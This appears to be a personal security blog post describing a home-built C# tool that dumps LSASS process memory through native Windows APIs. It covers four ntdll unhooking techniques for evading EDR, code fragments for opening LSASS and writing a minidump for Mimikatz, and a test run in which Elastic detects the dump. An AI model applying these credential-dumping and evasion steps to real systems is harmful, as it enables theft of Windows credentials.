Walk the PEB, Touch LSASS - Tale from the MemoryGlass

Walk the PEB, Touch LSASS - Tale from the MemoryGlass

in

What is MemoryGlass?

MemoryGlass is a tool that I built in an attempt to show my hate for people dropping mimikatz onto disk. The core idea of the tool is to dump LSASS by using NTAPIs. I believe there exist better alternatives like nanodump BOFs for dumping credentials but this was more of me doing things to learn a thing or two about credential dumping. To add, there exist a timeline where you dont have to touch LSASS at all to dump creds, like working with Kerberos tickets to get privileged access but thats another topic in itself!

MemoryGlass also provides four different ways to get a “clean” copy of ntdll.dll to replace the hooked version in memory.

How do dis?

Bypass

  • Obtain OS information using RtlGetVersion to obtain system information
  • Get the address from lsasrv.dll by parsing the LSASS process PEB using NtQueryInformationProcess
  • To obtain a privileged handle like SeDebugPrivlege, we use NtOpenProcessToken and NtAdjustPrivilegeToken
  • Obtain a handle on LSASS using NtOpenProcess
  • To dump credentials by using NtQueryVirtualMemory and NtReadVirtualMemory to loop through all memory region.

The Four Unhooking methods

To preface this, all the four methods follow sorta the same pattern is mentioned below:

  1. Obtain a “clean” ntdll.dll from somewhere
  2. Parse the PE Headers to find the .text section
  3. Make memory writable using VirtualProtect
  4. Copy the clean clode over the hooked code
  5. Restore the memory protection to its original state

Bypass

Here’s how it looks like in the codez:

// 1. Get local ntdll information
IntPtr localNtdllHandle = GetLocalNtdllHandle();
int[] textSectionInfo = GetTextSectionInfo(localNtdllHandle);

// 2. Make memory writable
VirtualProtect(localNtdllTxt, size, PAGE_EXECUTE_WRITECOPY, out oldProtect);

// 3. Copy clean code over hooked code
Buffer.MemoryCopy(unhookedNtdllTxt, localNtdllTxt, size, size);

// 4. Restore original memory protection
VirtualProtect(localNtdllTxt, size, oldProtect, out _);

Method 1: Load from Disk

MemoryGlass.exe dump.dmp disk
MemoryGlass.exe dump.dmp disk C:\Windows\System32\ntdll.dll

How it works:

This is the most straightforward approach. The tool simply opens the ntdll.dll file from your hard drive (usually at C:\Windows\System32\ntdll.dll), maps it into memory, and copies the .text section over the hooked version.

  1. Open the file with CreateFileA
  2. Create a memory mapping with CreateFileMappingA
  3. Map it into our address space with MapViewOfFile
  4. Copy the clean .text section over the hooked one

Method 2: Load from KnownDlls

MemoryGlass.exe dump.dmp knowndlls

How it works:

Windows maintains a cache of commonly-used DLLs in a special kernel object directory called \KnownDlls. This is a performance optimization—instead of loading the same DLL from disk multiple times, Windows can map the same cached copy into different processes.

  1. Open \KnownDlls\ntdll.dll using NtOpenSection
  2. Map the section into our process with NtMapViewOfSection
  3. Copy the clean .text section

Method 3: Extract from Debug Process

MemoryGlass.exe dump.dmp debugproc
MemoryGlass.exe dump.dmp debugproc C:\Windows\System32\notepad.exe

How it works:

This is where things get creative. Instead of getting ntdll from disk or cache, we spawn a brand new process (like calc.exe or notepad.exe) in debug mode. Since this process is fresh, its ntdll hasn’t been hooked yet.

  1. Create a suspended process using CreateProcessA with the DEBUG_PROCESS flag
  2. Find where ntdll is loaded in that process
  3. Use ReadProcessMemory to copy the clean .text section out
  4. Kill the process
  5. Copy the clean code into our own process

Method 4: Download from URL

MemoryGlass.exe dump.dmp download http://192.168.1.100/ntdll.dll

How it works:

This method downloads ntdll.dll from a remote server over HTTP/HTTPS. The idea is you could host your own known-good copy.

  1. Use WebClient to download the DLL
  2. Disable SSL certificate validation (to allow self-signed certs)
  3. Map the downloaded bytes into memory
  4. Copy the .text section

How the memory dump actually works

Bypass

Once we’ve (optionally) unhooked ntdll, here’s what MemoryGlass does to dump LSASS:

Step 1: Enable Debug Privileges

// Enable SeDebugPrivilege to access LSASS
NativeMethods.NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, 
    (uint)Marshal.SizeOf(typeof(NativeMethods.TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero);

You need SeDebugPrivilege to open handles to protected processes like LSASS. This requires administrator rights.

Step 2: Open LSASS

// Open LSASS process
NativeMethods.NtOpenProcess(ref processHandle, 
    NativeMethods.PROCESS_QUERY_INFORMATION | NativeMethods.PROCESS_VM_READ, 
    ref objectAttributes, ref clientId);

This is where the EDR’s kernel callback fires: “Someone just opened LSASS!”

Step 3: Extract lsasrv.dll Information

// Get PEB address from LSASS process
IntPtr pebAddress = GetProcessPebAddress(processHandle);

// Walk PEB loader data structures to find lsasrv.dll module information
ModuleInformation lsasrvModule = GetLsasrvModuleFromPeb(processHandle, pebAddress);

We manually walk the LSASS process’s PEB (Process Environment Block) and its associated loader data structures to locate lsasrv.dll - the module that handles credential processing.

In short it looks something like:

GetLsasrvModuleFromPeb() method does:
1.	Reads the PEB structure from LSASS memory
2.	Extracts the LDR pointer (Loader Data) from PEB
3.	Reads the LDR_DATA structure
4.	Walks the InLoadOrderModuleList (circular linked list)
5.	Searches each LDR_DATA_TABLE_ENTRY for "lsasrv.dll"
So it's not just "parsing PEB" - it's walking the entire module loader data structures linked from the PEB.

Step 4: Enumerate Memory

// Walk through all memory regions
while ((long)currentAddress < MAX_PROCESS_ADDRESS)
{
    NativeMethods.NtQueryVirtualMemory(processHandle, currentAddress, 
        NativeMethods.MemoryBasicInformation, out mbi, 0x30, out _);
        
    if (mbi.Protect != NativeMethods.PAGE_NOACCESS && mbi.State == NativeMethods.MEM_COMMIT)
    {
        // This is committed, readable memory
        memory64InfoList.Add(new NativeMethods.Memory64Info { Address = mbi.BaseAddress, Size = mbi.RegionSize });
    }
}

We walk through LSASS’s entire virtual address space, finding regions that are committed (actually allocated) and readable.

Step 5: Read the Memory

// Read each memory region
NativeMethods.NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, 
    (int)mbi.RegionSize, out _);

Step 6: Write the Minidump

// Create a valid Windows minidump file
MinidumpWriter.CreateMinidump(moduleInformationList, memory64InfoList, 
    memoryRegionsData, outputPath);

We assemble all the data into a valid Windows minidump file format that tools like Mimikatz can parse.

Does it work though?

Bypass

Lets see what actually happens when we run this with elastic running. Im using TuoniC2 cause it was the only C2 infra I apparently didnt turn off and since the project is implemented in c# (lol) we can utilze its .NET framework and execute it with inline-assembly. This was tested on Windows 2022 server (21H2 OS Build 20348.3932) and Windows 11 (23H2 OS Build 22631.6345)

Bypass

Based off the console output from the execute-assembly command, we’re able to see something happen (voodoo magik) and the .dmp file is created in the directory mentioned C:\Windows\Temp. But how does it look like from an elastic perspective? Let’s hop onto our elastic interface and have a look at the alerts.

Bypass

so yeah… you might ask why it never will bypass EDR. It still touches LSASS, as you might remember during the start of this topic, it was mentioned that theres better tradecrafts to obtaining privilege handles across using Kerberos thingymahbob. No matter how clean your ntdll is, the project still opens a handle to LSASS which is a big NO NO, not just that but we are also dumping the file to disk lol. (maybe dump it remotely?)

Since these actions happen in the kernel, and modern EDRs dont rely on userland hooks solely, EDRs mostly always have multiple detection layers, for example registering kernel callbacks for critical operations:

  • ObRegisterCallbacks - monitors process handle creation
  • PsSetCreateProcessNotifyRoutine - monitors process creation
  • PsSetLoadImageNotifyRoutine - monitors DLL loads

When your “unhooked” program calls NtOpenProcess to open LSASS, the system call goes into the kernel. The EDR’s kernel driver receives a callback: “Hey, process XYZ just opened a handle to LSASS with PROCESS_VM_READ access.” and that’s game over:

Bypass

Outros